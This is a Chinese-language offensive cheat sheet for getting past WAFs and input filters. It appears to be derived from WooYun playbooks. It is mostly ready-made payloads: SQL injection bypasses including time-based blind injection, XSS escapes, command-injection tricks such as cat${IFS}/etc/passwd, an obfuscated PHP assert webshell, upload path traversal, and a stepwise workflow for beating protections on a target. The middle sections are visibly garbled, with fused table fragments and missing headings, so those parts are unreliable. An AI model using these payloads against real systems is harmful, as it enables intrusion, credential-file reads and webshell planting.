# 通用绕过工具箱 > 综合改写自 `core/bypass_strategies.md` + 各 wooyun playbook 的 bypass 章节 > 视角:黑盒,被 WAF / 过滤器 / 业务校验拦了,怎么继续 --- ## 1. 绕过的本质 ``` 绕过 = 解析差异 + 边界 corner case + 防护盲区 每次被拦时问自己: Q1. 防护组件和后端的解析是否一致?(前置 WAF vs Tomcat、CDN vs 源站) Q2. 防护是否覆盖所有 corner case?(双编码、混合 case、长度溢出) Q3. 防护是否覆盖所有入口?(Header、Cookie、HPP、其他动词) ``` 通用决策树: ``` Payload 被拦 ├─ 看返回是 WAF?应用?还是源站? │ ├─ WAF 拦 → 协议层绕过(HPP / Chunked / 大小写 / Content-Type) │ └─ 应用拦 → 编码层 / 语义层(双写、注释、等价函数) ├─ 看是黑名单还是白名单 │ ├─ 黑名单 → 找漏掉的关键字 / 同义词 │ └─ 白名单 → 找白名单允许的危险用法 └─ 看是输入过滤还是输出编码 ├─ 输入过滤 → 多重编码 / 二次注入 └─ 输出编码 → 上下文逃逸(HTML→JS、URL→JS) ``` --- ## 2. SQLi 绕过表(分维度) ### 2.1 关键字过滤 | 技巧 | Payload | 适用 | |------|---------|------| | 大小写 | `UnIoN SeLeCt` | 黑名单纯 lower 检测 | | 双写 | `UNunionION SELselectECT` | 一次替换型过滤器 | | 注释插入 | `un/**/ion sel/**/ect` | 空白符过滤 | | MySQL 内联注释 | `/*!50000union*//*!50000select*/` | 经典 WooYun 案例 | | 同义词 | `\|\|` 代 `OR`,`&&` 代 `AND` | 关键字 OR/AND 过滤 | | 等号替换 | `LIKE` / `REGEXP` / `IN(1)` / `BETWEEN` | `=` 过滤 | | 函数等价 | `mid()`/`substr()`/`substring()`/`left()` | 子串函数过滤 | ### 2.2 空格过滤 ``` /**/ %09(Tab) %0a(LF) %0d(CR) %0b %0c 括号嵌套:select(user)from(dual) 反引号(MySQL):`select`user`from` 加号(URL 参数位):select+user+from ``` ### 2.3 引号绕过 ``` 0x61646D696E (hex,'admin') char(97,100,109,105,110) %df%27 (GBK 宽字节) ``` ### 2.4 数字型注入(无需引号) ``` id=1 AND 1=1 id=1 AND sleep(5) id=1 AND IF(SUBSTRING(user(),1,1)='r',sleep(5),0) ``` ### 2.5 时间盲注的双层延时(绕过 sleep 关键字) ``` id=(select(2)from(select(sleep(8)))v) # WooYun-2015-0114228 id=1 AND (SELECT (CASE WHEN (1=1) THEN SLEEP(10) ELSE 1 END)) id=1 AND dbms_pipe.receive_message('a',5)=1 # Oracle id=1; WAITFOR DELAY '0:0:5'-- # MSSQL ``` --- ## 3. XSS 绕过表 ### 3.1 标签过滤 ``` ` | 引号 | `";alert(1);//` | | `` | JSON | `'-alert(1)-'` 或 `"};alert(1);//` | --- ## 4. 命令注入绕过表 ### 4.1 拼接符 ``` Linux: ; | || && & `cmd` $(cmd) %0a(LF) Windows: & | || && %0a ``` ### 4.2 空格绕过 ``` ${IFS} cat${IFS}/etc/passwd ${IFS}$9 cat${IFS}$9/etc/passwd %09(Tab) cat%09/etc/passwd {a,b} {cat,/etc/passwd} 重定向 cat` 或 `\x89PNG...` | | 内容静态特征 | 变量函数 `$a='ass'.'ert'; $a($_POST['x']);`、`array_map('assert',$_POST)` | | 二次渲染 | 把 payload 放在 EXIF、IDAT 块,渲染后仍可读 | | 路径绕过 | `filename=../../web/shell.php`,旧版 ZipSlip | | 解析配置 | Apache 多后缀 `.php.xxx` 从右向左、Nginx `/x.jpg/.php` | --- ## 9. 上传后访问路径不返回? ``` 1. 抓包看响应是否含完整 URL 2. 看预览功能(很多 CMS 上传后能预览) 3. 看上传时间戳命名规则(`20140829221136jsp.jsp` 模式 → 时间爆破 ±60 秒) 4. 编辑器自带浏览功能(FCKeditor /connectors/...?Command=GetFoldersAndFiles&CurrentFolder=/../) 5. 配合任意文件读 / .git 泄露反推目录 ``` --- ## 10. Corner Case 速查清单 每发新 payload 前过一遍这张表: - [ ] 双重 URL 编码(`%252e`) - [ ] Unicode 变体(`%u0027`、`'`) - [ ] 宽字节(GBK,`%df%27`) - [ ] Overlong UTF-8(`%c0%ae` = `.`) - [ ] 混合编码(部分编码 + 部分明文) - [ ] 注释嵌套(`/*!50000select*/`) - [ ] 科学计数法 / 浮点(`1e0union`、`1.0union`) - [ ] 负数 / 0(`-1 UNION`、`0 OR`) - [ ] 制表 / 换页(`\t \v \f \r`) - [ ] HPP(重复参数) - [ ] Chunked / Content-Encoding gzip - [ ] 重复 Header(重复 Host、重复 CL) - [ ] 路径规范化差异(`//`、`/./`、`/;param`、尾斜杠) - [ ] JSON 重复 key(取首 / 取末) - [ ] XML DTD(``) --- ## 11. 实战工作流(被拦了怎么办) ``` 1. 先确认是谁拦的 → 看响应头:Server / X-WAF / 错误页特征 / 状态码(403 / 406 / 418) → 同一参数发普通字符串看是否过;只在恶意 payload 触发就是 WAF 2. 识别 WAF → wafw00f https://target → 看常见特征:Cloudflare(cf-ray)、ModSecurity、AWS WAF、阿里云盾、长亭雷池 3. 选第一道绕过: → 编码层(最便宜):URL 双编码 → Unicode → 实体 → 语义层:等价函数 / 注释 / 大小写 → 协议层:HPP / Chunked / 改 method / 改 Content-Type 4. 第一道失败: → 拆 payload(多参数组合 / 超长前缀填充 / Cookie 走私) → 切入口(Header → Cookie → JSON body → multipart) 5. 还失败: → 二次注入(先存再触发) → 切目标(如果是 SaaS 多租户,换租户域名 / 子域) → 记录"防护有效",去打下一个端点 ```